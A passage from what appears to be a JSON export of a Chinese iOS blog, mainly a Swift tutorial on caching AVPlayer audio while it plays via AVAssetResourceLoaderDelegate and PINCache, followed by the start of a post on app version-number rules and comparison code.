AssetDataContentInformation) func saveDownloadedData(_ data: Data, offset: Int) func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data?}extension AssetDataManager { func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data? { if offset <= from.count && (offset + with.count) > from.count { let start = from.count - offset var data = from data.append(with.subdata(in: start..<with.count)) return data } return nil }}//class PINCacheAssetDataManager: NSObject, AssetDataManager { static let Cache: PINCache = PINCache(name: \"ResourceLoader\") let cacheKey: String init(cacheKey: String) { self.cacheKey = cacheKey super.init() } func saveContentInformation(_ contentInformation: AssetDataContentInformation) { let assetData = AssetData() assetData.contentInformation = contentInformation PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil) } func saveDownloadedData(_ data: Data, offset: Int) { guard let assetData = self.retrieveAssetData() else { return } if let mediaData = self.mergeDownloadedDataIfIsContinuted(from: assetData.mediaData, with: data, offset: offset) { assetData.mediaData = mediaData PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil) } } func retrieveAssetData() -> AssetData? { guard let assetData = PINCacheAssetDataManager.Cache.object(forKey: cacheKey) as? AssetData else { return nil } return assetData }}這邊多抽出 Protocol 因為未來可能使用其他儲存方式替代 PINCache,所以其他程式在使用時是依賴 Protocol 而非 Class 實體。 ⚠️ mergeDownloadedDataIfIsContinuted 這個方法極其重要。照線性播放只要一直 append 新 Data 到 Cache Data 中即可,但現實情況複雜得多,使用者可能播了 Range 0~100,直接 Seek 到 Range 200–500 播放;如何將已有的 0-100 Data 與新的 200–500 Data 合併就是一個很大的問題。 ⚠️Data 合併有問題會出現可怕的播放鬼畜問題….這邊的答案是, 我們不處理非連續資料 ;因為敝專案僅為音訊,檔案也就幾 MB (≤ 10MB) 以考量開發成本就沒做了,我只處理合併連續的資料(例如目前已有 0~100,新資料是 75~200,合併之後變0~200;如果新資料是 150~200,我則會忽略不合併處理)如果要考慮非連續合併,除了在儲存上要使用其他方法(要有辦法辨識空缺部分);在 Request 時也要能 Query 出哪段需要發網路請求去拿、哪段是從本地拿;要考量到這情況實作會非常複雜。圖片取自: iOS AVPlayer 视频缓存的设计与实现CachingAVURLAssetAVURLAsset 是 weak 持有 ResourceLoader Delegate,所以這邊建議自己建立一個 AVURLAsset Class 繼承自 AVURLAsset,在內部建立、賦予、持有 ResourceLoader ,讓他跟著 AVURLAsset 的生命週期;另外也可以儲存原始 URL、CacheKey 等資訊…。class CachingAVURLAsset: AVURLAsset { static let customScheme = \"cacheable\" let originalURL: URL private var _resourceLoader: ResourceLoader? var cacheKey: String { return self.url.lastPathComponent } static func isSchemeSupport(_ url: URL) -> Bool { guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false } return [\"http\", \"https\"].contains(components.scheme) } override init(url URL: URL, options: [String: Any]? = nil) { self.originalURL = URL guard var components = URLComponents(url: URL, resolvingAgainstBaseURL: false) else { super.init(url: URL, options: options) return } components.scheme = CachingAVURLAsset.customScheme guard let url = components.url else { super.init(url: URL, options: options) return } super.init(url: url, options: options) let resourceLoader = ResourceLoader(asset: self) self.resourceLoader.setDelegate(resourceLoader, queue: resourceLoader.loaderQueue) self._resourceLoader = resourceLoader }}使用:if CachingAVURLAsset.isSchemeSupport(url) { let asset = CachingAVURLAsset(url: url) let avplayer = AVPlayer(asset) avplayer.play()}其中 isSchemeSupport() 是用來判斷 URL 是否支援掛我們的 Resource Loader(排除 file:// )。originalURL 存放原始資源 URL。cacheKey 存放這個資源的 Cache Key,這邊直接用檔案名稱當 Cache Key。cacheKey 請依照現實場景做調整,如果檔案名稱未 hash 可能重複就建議先 hash 後當 key 避免碰撞;如果要 hash 整個 URL 當 key 也要注意 URL 是否會變動 (例如有用 CDN)。Hash 可使用 md5…sha. .,iOS ≥ 13 可直接使用 Apple 的 CryptoKit ,其他就上 Github 找吧!ResourceLoaderRequestimport Foundationimport CoreServicesprotocol ResourceLoaderRequestDelegate: AnyObject { func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>)}class ResourceLoaderRequest: NSObject, URLSessionDataDelegate { struct RequestRange { var start: Int64 var end: RequestRangeEnd enum RequestRangeEnd { case requestTo(Int64) case requestToEnd } } enum RequestType { case contentInformation case dataRequest } struct ResponseUnExpectedError: Error { } private let loaderQueue: DispatchQueue let originalURL: URL let type: RequestType private var session: URLSession? private var dataTask: URLSessionDataTask? private var assetDataManager: AssetDataManager? private(set) var requestRange: RequestRange? private(set) var response: URLResponse? private(set) var downloadedData: Data = Data() private(set) var isCancelled: Bool = false { didSet { if isCancelled { self.dataTask?.cancel() self.session?.invalidateAndCancel() } } } private(set) var isFinished: Bool = false { didSet { if isFinished { self.session?.finishTasksAndInvalidate() } } } weak var delegate: ResourceLoaderRequestDelegate? init(originalURL: URL, type: RequestType, loaderQueue: DispatchQueue, assetDataManager: AssetDataManager?) { self.originalURL = originalURL self.type = type self.loaderQueue = loaderQueue self.assetDataManager = assetDataManager super.init() } func start(requestRange: RequestRange) { guard isCancelled == false, isFinished == false else { return } self.loaderQueue.async { [weak self] in guard let self = self else { return } var request = URLRequest(url: self.originalURL) self.requestRange = requestRange let start = String(requestRange.start) let end: String switch requestRange.end { case .requestTo(let rangeEnd): end = String(rangeEnd) case .requestToEnd: end = \"\" } let rangeHeader = \"bytes=\\(start)-\\(end)\" request.setValue(rangeHeader, forHTTPHeaderField: \"Range\") let session = URLSession(configuration: .default, delegate: self, delegateQueue: nil) self.session = session let dataTask = session.dataTask(with: request) self.dataTask = dataTask dataTask.resume() } } func cancel() { self.isCancelled = true } func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data) { guard self.type == .dataRequest else { return } self.loaderQueue.async { self.delegate?.dataRequestDidReceive(self, data) self.downloadedData.append(data) } } func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void) { self.response = response completionHandler(.allow) } func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?) { self.isFinished = true self.loaderQueue.async { if self.type == .contentInformation { guard error == nil, let response = self.response as? HTTPURLResponse else { let responseError = error ?? ResponseUnExpectedError() self.delegate?.contentInformationDidComplete(self, .failure(responseError)) return } let contentInformation = AssetDataContentInformation() if let rangeString = response.allHeaderFields[\"Content-Range\"] as? String, let bytesString = rangeString.split(separator: \"/\").map({String($0)}).last, let bytes = Int64(bytesString) { contentInformation.contentLength = bytes } if let mimeType = response.mimeType, let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() { contentInformation.contentType = contentType as String } if let value = response.allHeaderFields[\"Accept-Ranges\"] as? String, value == \"bytes\" { contentInformation.isByteRangeAccessSupported = true } else { contentInformation.isByteRangeAccessSupported = false } self.assetDataManager?.saveContentInformation(contentInformation) self.delegate?.contentInformationDidComplete(self, .success(contentInformation)) } else { if let offset = self.requestRange?.start, self.downloadedData.count > 0 { self.assetDataManager?.saveDownloadedData(self.downloadedData, offset: Int(offset)) } self.delegate?.dataRequestDidComplete(self, error, self.downloadedData) } } }}針對 Remote Request 的封裝,主要是服務 ResourceLoader 發起的資料請求。RequestType :用來區分此 Request 是 第一次請求檔案資訊(contentInformation)、還是請求資料(dataRequest)RequestRange :請求 Range 範圍,end 可指定到哪(requestTo(Int64) )或全部(requestToEnd)。檔案資訊可由:urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void)中取得 Response Header,另外要注意如果要改 HEAD 去摸,不會進這個要用其他方法接。 isByteRangeAccessSupported :看 Response Header 中的 Accept-Ranges == bytes contentType :播放器要的檔案類型資訊,格式是統一類識別符,不是 audio/mpeg ,而是寫作 public.mp3 contentLength :看 Response Header 中的 Content-Range :bytes 0–1/ 資源總長度 ⚠️這邊要注意伺服器給的格式大小寫,不一定是寫作 Accept-Ranges/Content-Range;有的伺服器的格式是小寫 accept-ranges、Accept-ranges…補充:如果要考量大小寫可以寫 HTTPURLResponse Extensionimport CoreServicesextension HTTPURLResponse { func parseContentLengthFromContentRange() -> Int64? { let contentRangeKeys: [String] = [ \"Content-Range\", \"content-range\", \"Content-range\", \"content-Range\" ] var rangeString: String? for key in contentRangeKeys { if let value = self.allHeaderFields[key] as? String { rangeString = value break } } guard let rangeString = rangeString, let contentLengthString = rangeString.split(separator: \"/\").map({String($0)}).last, let contentLength = Int64(contentLengthString) else { return nil } return contentLength } func parseAcceptRanges() -> Bool? { let contentRangeKeys: [String] = [ \"Accept-Ranges\", \"accept-ranges\", \"Accept-ranges\", \"accept-Ranges\" ] var rangeString: String? for key in contentRangeKeys { if let value = self.allHeaderFields[key] as? String { rangeString = value break } } guard let rangeString = rangeString else { return nil } return rangeString == \"bytes\" || rangeString == \"Bytes\" } func mimeTypeUTI() -> String? { guard let mimeType = self.mimeType, let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() else { return nil } return contentType as String }}使用: contentLength = response.parseContentLengthFromContentRange( ) isByteRangeAccessSupported = response.parseAcceptRanges( ) contentType = response.mimeTypeUTI( )urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data)同前導知識所述,會實時取得已下載的資料,所以這個方法會一直進,片段片段的拿到 Data;我們將他 append 進 downloadedData 存放。urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?)任務取消或結束時都會進這個方法,在這將已下載的資料保存下來。如前導知識中提到的 Cancel 機制,因播放器在拿到足夠資料後就會發起 Cancel,Cancel Request;所以進到這個方法時實際會是 error = NSURLErrorCancelled ,因此不管 error 我們有拿到資料都會嘗試存下來。 ⚠️ 因 URLSession 會用並行方式出去請求資料,所以請保持操作都在DispatchQueue裡,避免資料錯亂(資料錯亂一樣會出現可怕的播放鬼畜)。 ️️⚠️URLSession 沒有呼叫 finishTasksAndInvalidate 或 invalidateAndCancel 兩個方法都會強持有物件導致 Memory Leak;所以不管是取消或是完成我們都要呼叫,這樣才能在任務結束釋放 Request。 ️️⚠️️️️️️️️️️️如果怕 downloadedData OOM,可以在 didReceive Data 中就存入本地。ResourceLoaderimport AVFoundationimport Foundationclass ResourceLoader: NSObject { let loaderQueue = DispatchQueue(label: \"li.zhgchg.resourceLoader.queue\") private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:] private let cacheKey: String private let originalURL: URL init(asset: CachingAVURLAsset) { self.cacheKey = asset.cacheKey self.originalURL = asset.originalURL super.init() } deinit { self.requests.forEach { (request) in request.value.cancel() } }}extension ResourceLoader: AVAssetResourceLoaderDelegate { func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool { let type = ResourceLoader.resourceLoaderRequestType(loadingRequest) let assetDataManager = PINCacheAssetDataManager(cacheKey: self.cacheKey) if let assetData = assetDataManager.retrieveAssetData() { if type == .contentInformation { loadingRequest.contentInformationRequest?.contentLength = assetData.contentInformation.contentLength loadingRequest.contentInformationRequest?.contentType = assetData.contentInformation.contentType loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = assetData.contentInformation.isByteRangeAccessSupported loadingRequest.finishLoading() return true } else { let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest) if assetData.mediaData.count > 0 { let end: Int64 switch range.end { case .requestTo(let rangeEnd): end = rangeEnd case .requestToEnd: end = assetData.contentInformation.contentLength } if assetData.mediaData.count >= end { let subData = assetData.mediaData.subdata(in: Int(range.start)..<Int(end)) loadingRequest.dataRequest?.respond(with: subData) loadingRequest.finishLoading() return true } else if range.start <= assetData.mediaData.count { // has cache data...but not enough let subEnd = (assetData.mediaData.count > end) ? Int((end)) : (assetData.mediaData.count) let subData = assetData.mediaData.subdata(in: Int(range.start)..<subEnd) loadingRequest.dataRequest?.respond(with: subData) } } } } let range = ResourceLoader.resourceLoaderRequestRange(type, loadingRequest) let resourceLoaderRequest = ResourceLoaderRequest(originalURL: self.originalURL, type: type, loaderQueue: self.loaderQueue, assetDataManager: assetDataManager) resourceLoaderRequest.delegate = self self.requests[loadingRequest]?.cancel() self.requests[loadingRequest] = resourceLoaderRequest resourceLoaderRequest.start(requestRange: range) return true } func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest) { guard let resourceLoaderRequest = self.requests[loadingRequest] else { return } resourceLoaderRequest.cancel() requests.removeValue(forKey: loadingRequest) }}extension ResourceLoader: ResourceLoaderRequestDelegate { func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>) { guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { return } switch result { case .success(let contentInformation): loadingRequest.contentInformationRequest?.contentType = contentInformation.contentType loadingRequest.contentInformationRequest?.contentLength = contentInformation.contentLength loadingRequest.contentInformationRequest?.isByteRangeAccessSupported = contentInformation.isByteRangeAccessSupported loadingRequest.finishLoading() case .failure(let error): loadingRequest.finishLoading(with: error) } } func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) { guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { return } loadingRequest.dataRequest?.respond(with: data) } func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) { guard let loadingRequest = self.requests.first(where: { $0.value == resourceLoaderRequest })?.key else { return } loadingRequest.finishLoading(with: error) requests.removeValue(forKey: loadingRequest) }}extension ResourceLoader { static func resourceLoaderRequestType(_ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestType { if let _ = loadingRequest.contentInformationRequest { return .contentInformation } else { return .dataRequest } } static func resourceLoaderRequestRange(_ type: ResourceLoaderRequest.RequestType, _ loadingRequest: AVAssetResourceLoadingRequest) -> ResourceLoaderRequest.RequestRange { if type == .contentInformation { return ResourceLoaderRequest.RequestRange(start: 0, end: .requestTo(1)) } else { if loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true { let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0 return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestToEnd) } else { let lowerBound = loadingRequest.dataRequest?.currentOffset ?? 0 let length = Int64(loadingRequest.dataRequest?.requestedLength ?? 1) let upperBound = lowerBound + length return ResourceLoaderRequest.RequestRange(start: lowerBound, end: .requestTo(upperBound)) } } }}loadingRequest.contentInformationRequest != nil 則代表是第一次請求,播放器要求先給檔案資訊。請求檔案資訊時我們需要賦予這三項資訊: loadingRequest.contentInformationRequest?.isByteRangeAccessSupported :是否支援 Range 拿 Data loadingRequest.contentInformationRequest?.contentType :統一類識別符 loadingRequest.contentInformationRequest?.contentLength :檔案總長度 Int64loadingRequest.dataRequest?.requestedOffset 可取得要求 Range 的起始 offset。loadingRequest.dataRequest?.requestedLength 可取得要求 Range 的長度。loadingRequest.dataRequest?.requestsAllDataToEndOfResource == true 則不管要求 Range 的長度,直接拿到底。loadingRequest.dataRequest?.respond(with: Data) 返回已載入的 Data 給播放器。loadingRequest.dataRequest?.currentOffset 可取得當前 data offset, dataRequest?.respond(with: Data) 後 currentOffset 會跟著推移。loadingRequest.finishLoading() 資料都載完了,告知播放器。resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool播放器請求資料,我們先看本地 Cache 有無資料,有則返回;若只有部分資料則一樣返回部分,例如我本地有 0–100 ,播放器要求 0–200,則先返回 0–100。若沒有本地 Cache、返回的資料不夠,則會發起 ResourceLoaderRequest 請求從網路拿資料。resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest)播放器取消請求,取消 ResourceLoaderRequest。 你可能有發現 resourceLoaderRequestRange 的 offset 是看 currentOffset ,因為我們會先從本地 dataRequest?.respond(with: Data) 已下載 Data;所以直接看推移後的 offset 即可。private var requests: [AVAssetResourceLoadingRequest: ResourceLoaderRequest] = [:] ⚠️ requests 有的範例是只用 currentRequest: ResourceLoaderRequest 來存放,這會有個問題,因為可能當前的 request 正在拿取,使用者又 seek 這時會取消舊的發起新的;但因不一定會照順序發生,可能先走發新請求再走取消;所以用 Dictionary 去存取操作還是比較安全! ⚠️讓所有操作都在同個 DispatchQueue 防止出現資料鬼畜。deinit 時取消所有還在請求的 requests Resource Loader Deinit 即代表 AVURLAsset Deinit,代表播放器已經不需要這個資源了;所以我們可以 Cancel 還在取資料的 Request,已經載的一樣會寫入 Cache。補充及鳴謝感謝 Lex 汤 大大指點。感謝 外孫女 提供開發上的意見及支持。本篇只針對音樂小檔影片大檔案可能會在 downloadedData、AssetData/PINCacheAssetDataManager 發生 Out Of Memory 問題。同前述,如果要解決這個問題請使用 fileHandler seek read/wirte 去操作本地 Cache 讀取寫入(取代AssetData/PINCacheAssetDataManager);或找看看 Github 有沒有大 data write/read to file 的專案可用。AVQueuePlayer 切換播放項目時取消正在下載的項目同前導知識中所述,在更換播放目標時是不會發起 Cancel 的;如果是 AVPlayer 會走 AVURLAsset Deinit 所以下載也會中斷;但 AVQueuePlayer 不會,因為都還在 Queue 裡,只是播放目標換到下一首而已。這邊唯一做法就只能接收變換播放目標通知,然後在收到通知後取消上一手的 AVURLAsset loading。asset.cancelLoading()音訊資料加解密音訊加解密可在 ResourceLoaderRequest 中拿到 Data 進行、還有儲存時能在 AssetData 的 encode/decode 對存在本地的 Data進行加解密。CryptoKit SHA 使用範本:class AssetData: NSObject, NSCoding { static let encryptionKeyString = \"encryptionKeyExzhgchgli\" ... func encode(with coder: NSCoder) { coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation)) if #available(iOS 13.0, *), let encryptionData = try? ChaChaPoly.seal(self.mediaData, using: AssetData.encryptionKey).combined { coder.encode(encryptionData, forKey: #keyPath(AssetData.mediaData)) } else { // } } required init?(coder: NSCoder) { super.init() ... if let mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data { if #available(iOS 13.0, *), let sealedBox = try? ChaChaPoly.SealedBox(combined: mediaData), let decryptedData = try? ChaChaPoly.open(sealedBox, using: AssetData.encryptionKey) { self.mediaData = decryptedData } else { // } } else { // } }}PINCache 相關操作PINCache 包含 PINMemoryCache 和 PINDiskCache,PINCache 會幫我們處理從檔案讀到 Memory 或從 Memory 寫入檔案的事,我們只需要對 PINCache 進行操作。在模擬器中查找 Cache 檔案位置:使用 NSHomeDirectory() 取得模擬器檔案路徑Finder -> 前往 -> 貼上路徑在 Library -> Caches -> com.pinterest.PINDiskCache.ResourceLoader 就是我們建的 Resource Loader Cache 目錄。PINCache(name: “ResourceLoader”) 其中的 name 就是目錄名稱。也可以指定 rootPath ,目錄就可以改到 Documents 底下(不怕被系統清掉)。設定 PINCache 最大上限: PINCacheAssetDataManager.Cache.diskCache.byteCount = 300 * 1024 * 1024 // max: 300mb PINCacheAssetDataManager.Cache.diskCache.byteLimit = 90 * 60 * 60 * 24 // 90 days系統預設上限設 0 的話就不會主動刪除檔案。後記原先太小看這個功能的困難度,以為三兩下就能處理好;結果吃盡苦頭,大概又多花了兩週處理資料儲存的問題,不過也就此徹底了解整個 Resource Loader 運作機制、 GCD 、Data。參考資料最後附上研究如何實作的參考資料 iOS AVPlayer 视频缓存的设计与实现 僅講原理 基于AVPlayer实现音视频播放和缓存,支持视频画面的同步输出 [ SZAVPlayer ] 有附程式(很完整,但很複雜) CachingPlayerItem (簡易實現,較好懂但不完整) 可能是目前最好的 AVPlayer 音视频缓存方案 AVAssetResourceLoaderDelegate 仿抖音 Swift 版 [ Github ](蠻有意思的專案,復刻抖音 APP;裡面也有用到 Resource Loader) iOS HLS Cache 實踐方法探究之旅延伸 DLCachePlayer (Objective-C 版)有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "AVPlayer 邊播邊 Cache 實戰", "url": "/posts/ee47f8f1e2d2/", "categories": "", "tags": "ios, ios-app-development, cache, avplayer, music-player", "date": "2021-01-05 22:27:52 +0800", "snippet": "[舊]AVPlayer 邊播邊 Cache 實戰摸清 AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate 的脈絡[2021–01–31] 文章公告:文章編修完成在此要先對所有已讀原本文章的朋友深深一鞠躬道歉,因為自己的魯莽沒有徹底研究完成就發表文章;導致部分內容有誤、浪費您寶貴的時間。目前已從頭把脈絡...", "content": "[舊]AVPlayer 邊播邊 Cache 實戰摸清 AVPlayer/AVQueuePlayer with AVURLAsset 實作 AVAssetResourceLoaderDelegate 的脈絡[2021–01–31] 文章公告:文章編修完成在此要先對所有已讀原本文章的朋友深深一鞠躬道歉,因為自己的魯莽沒有徹底研究完成就發表文章;導致部分內容有誤、浪費您寶貴的時間。目前已從頭把脈絡梳理完成,重新撰寫了篇文章;內含完整專案程式共大家參考,謝謝!變更內容: 約 30%新增內容: 約 60% AVPlayer 實踐本地 Cache 功能大全 點我查看===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS APP 版本號那些事", "url": "/posts/c4d7c2ce5a8d/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, software-engineering, version-control, software-development", "date": "2020-12-17 22:33:08 +0800", "snippet": "iOS APP 版本號那些事版本號規則及判斷比較解決方案Photo by James Yarema前言所有 iOS APP 開發者都會碰到的兩個數字,Version Number 和 Build Number;最近剛好遇到需求跟版本號有關,要做版本號判斷邀請使用者評價 APP,順便挖掘了一下關於版本號的事;文末也會附上我的版本號判斷解決大全。XCode Help語意化版本 x.y.z首先介紹...", "content": "iOS APP 版本號那些事版本號規則及判斷比較解決方案Photo by James Yarema前言所有 iOS APP 開發者都會碰到的兩個數字,Version Number 和 Build Number;最近剛好遇到需求跟版本號有關,要做版本號判斷邀請使用者評價 APP,順便挖掘了一下關於版本號的事;文末也會附上我的版本號判斷解決大全。XCode Help語意化版本 x.y.z首先介紹「 語意化版本 」這份規範,主要是要解決軟體相依及軟體管理上的問題,如我們很常在使用的 Cocoapods ;假設我今天使用 Moya 4.0,Moya 4.0 使用並依賴 Alamofire 2.0.0,如果今天 Alamofire 有更新了,可能是新功能、可能是修復問題、可能是整個架構重做(不相容舊版);這時候如果對於版本號沒有一個公共共識規範,將會變得一團亂,因為你不知道哪個版本是相容的、可更新的。語意化版本由三個部分組成: x.y.z x: 主版號 (major):當你做了不相容的 API 修改 y: 次版號 (minor):當你做了向下相容的功能性新增 z: 修訂號 (patch):當你做了向下相容的問題修正通用規則: 必須為非負的整數 不可補零 0.y.z 開頭為開發初始階段,不應該用於正式版版號 以數值遞增比較方式: 先比 主版號,主版號 等於時 再比 次版號,次版號 等於時 再比 修訂號。 ex: 1.0.0 < 2.0.0 < 2.1.0 < 2.1.1另外還可在修訂號之後加入「先行版號資訊 (ex: 1.0.1-alpha)」或「版本編譯資訊 (ex: 1.0.0-alpha+001)」但 iOS APP 版號並不允許這兩個格式上傳至 App Store,所以這邊就不做贅述,詳細可參考「 語意化版本 」。✅:1.0.1, 1.0.0, 5.6.7❌:01.5.6, a1.2.3, 2.005.6實際使用關於實際使用在 iOS APP 版本控制上,因為我們僅作為 Release APP 版本的標記,不存在與其他 APP、軟體相依問題;所以在實際使用上的定義就因應各團隊自行定義,以下僅為個人想法: x: 主版號 (major):有重大更新時(多個頁面介面翻新、主打功能上線) y: 次版號 (minor):現有功能優化、補強時(大功能下的小功能新增) z: 修訂號 (patch):修正目前版本的 bug時一般如果是緊急修復(Hot Fix)才會動到修訂號,正常狀況下都為 0;如果有新的版本上線可以將它歸回 0。 EX: 第一版上線(1.0.0) -> 補強第一版的功能 (1.1.0) -> 發現有問題要修復 (1.1.1) -> 再次發現有問題 (1.1.2) -> 繼續補強第一版的功能 (1.2.0) -> 全新改版 (2.0.0) -> 發現有問題要修復 (2.0.1) … 以此類推Version Number vs. Build NumberVersion Number (APP 版本號) App Store、外部識別用 Property List Key: CFBundleShortVersionString 內容僅能由數字和「.」組成 官方也是建議使用語意化版本 x.y.z 格式 2020121701、2.0、2.0.0.1 都可(下面會有總表統計 App Store 上 App 版本號的命名方式) 不可超過 18 個字元 格式不合可以 build & run 但無法打包上傳到 App Store 僅能往上遞增、不能重複、不能下降 一般習慣使用語意化版本 x.y.z 或 x.y。Build Number 內部開發過程、階段識別使用,不會公開給使用者 打包上傳到 App Store 識別使用(相同 build number 無法重複打包上傳) Property List Key: CFBundleVersion 內容僅能由數字和「.」組成 官方也是建議使用語意化版本 x.y.z 格式 1、2020121701、2.0、2.0.0.1 都可 不可超過 18 個字元 格式不合可以 build & run 但無法打包上傳到 App Store 同個 APP 版本號下不能重複,反之不同APP 版本號可以重複ex: 1.0.0 build: 1.0.0, 1.1.0 build: 1.0.0 ✅ 一般習慣使用日期、number(每個新版本都從 0 開始),並搭配 CI/fastlane 自動在打包時遞增 build number。稍微統計了一下排行版上 app 的版本號格式,如上圖。一般還是以 x.y.z 為主。版本號比較及判斷方式有時候我們會需要使用版本進行判斷,例如:低於 x.y.z 版本則跳強制更新、等於某個版本跳邀請評價,這時候就需要能比較兩個版本字串的功能。簡易方式let version = \"1.0.0\"print(version.compare(\"1.0.0\", options: .numeric) == .orderedSame) // true 1.0.0 = 1.0.0print(version.compare(\"1.22.0\", options: .numeric) == .orderedAscending) // true 1.0.0 < 1.22.0print(version.compare(\"0.0.9\", options: .numeric) == .orderedDescending) // true 1.0.0 > 0.0.9print(version.compare(\"2\", options: .numeric) == .orderedAscending) // true 1.0.0 < 2也可以寫 String Extension:extension String { func versionCompare(_ otherVersion: String) -> ComparisonResult { return self.compare(otherVersion, options: .numeric) }}⚠️但需注意若遇到格式不同要判斷相同是會有誤:let version = \"1.0.0\"version.compare(\"1\", options: .numeric) //.orderedDescending實際我們知道 1 == 1.0.0 ,但若用此方式判斷將得到 .orderedDescending ;可 參考此篇文章補0後再判斷 的做法;正常情況下我們選定 APP 版本格式後就不應該再變了,x.y.z 就一直用 x.y.z,不要一下 x.y.z 一下 x.y。複雜方式可直接使用已用輪子: mrackwitz/Version 以下為重造輪子。複雜方式這邊遵照使用語意化版本 x.y.z 最為格式規範,自行使用 Regex 做字串頗析並自行實作比較操作符,除了基本的 =/>/≥/</≤ 外還多實作了 ~> 操作符(同 Cocoapods 版本指定方式)並支援靜態輸入。~> 操作符的定義是:大於等於此版本但小於此版本的(上一階層版號+1)EX:~> 1.2.1: (1.2.1 <= 版本 < 1.3) 1.2.3,1.2.4...~> 1.2: (1.2 <= 版本 < 2) 1.3,1.4,1.5,1.3.2,1.4.1...~> 1: (1 <= 版本 < 2) 1.1.2,1.2.3,1.5.9,1.9.0...1.首先我們需要定義出 Version 物件:@objcMembersclass Version: NSObject { private(set) var major: Int private(set) var minor: Int private(set) var patch: Int override var description: String { return \"\\(self.major),\\(self.minor),\\(self.patch)\" } init(_ major: Int, _ minor: Int, _ patch: Int) { self.major = major self.minor = minor self.patch = patch } init(_ string: String) throws { let result = try Version.parse(string: string) self.major = result.version.major self.minor = result.version.minor self.patch = result.version.patch } static func parse(string: String) throws -> VersionParseResult { let regex = \"^(?:(>=|>|<=|<|~>|=|!=){1}\\\\s*)?(0|[1-9]\\\\d*)\\\\.(0|[1-9]\\\\d*)\\\\.(0|[1-9]\\\\d*)$\" let result = string.groupInMatches(regex) if result.count == 4 { //start with operator... let versionOperator = VersionOperator(string: result[0]) guard versionOperator != .unSupported else { throw VersionUnSupported() } let major = Int(result[1]) ?? 0 let minor = Int(result[2]) ?? 0 let patch = Int(result[3]) ?? 0 return VersionParseResult(versionOperator, Version(major, minor, patch)) } else if result.count == 3 { //unSpecified operator... let major = Int(result[0]) ?? 0 let minor = Int(result[1]) ?? 0 let patch = Int(result[2]) ?? 0 return VersionParseResult(.unSpecified, Version(major, minor, patch)) } else { throw VersionUnSupported() } }}//Supported Objects@objc class VersionUnSupported: NSObject, Error { }@objc enum VersionOperator: Int { case equal case notEqual case higherThan case lowerThan case lowerThanOrEqual case higherThanOrEqual case optimistic case unSpecified case unSupported init(string: String) { switch string { case \">\": self = .higherThan case \"<\": self = .lowerThan case \"<=\": self = .lowerThanOrEqual case \">=\": self = .higherThanOrEqual case \"~>\": self = .optimistic case \"=\": self = .equal case \"!=\": self = .notEqual default: self = .unSupported } }}@objcMembersclass VersionParseResult: NSObject { var versionOperator: VersionOperator var version: Version init(_ versionOperator: VersionOperator, _ version: Version) { self.versionOperator = versionOperator self.version = version }}可以看到 Version 就是個 major,minor,patch 的儲存器,解析方式寫成 static 方便外部呼叫使用,可能傳遞 1.0.0 or ≥1.0.1 這兩種格式,方便我們做字串解析、設定檔解析。Input: 1.0.0 => Output: .unSpecified, Version(1.0.0)Input: ≥ 1.0.1 => Output: .higherThanOrEqual, Version(1.0.0)Regex 是參考「 語意化版本文件 」中提供的 Regex 參考進行修改的:^(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)(?:-((?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\\+([0-9a-zA-Z-]+(?:\\.[0-9a-zA-Z-]+)*))?$ *因考量到專案與 Objective-c 混編, OC 也要能使用所以都宣告為 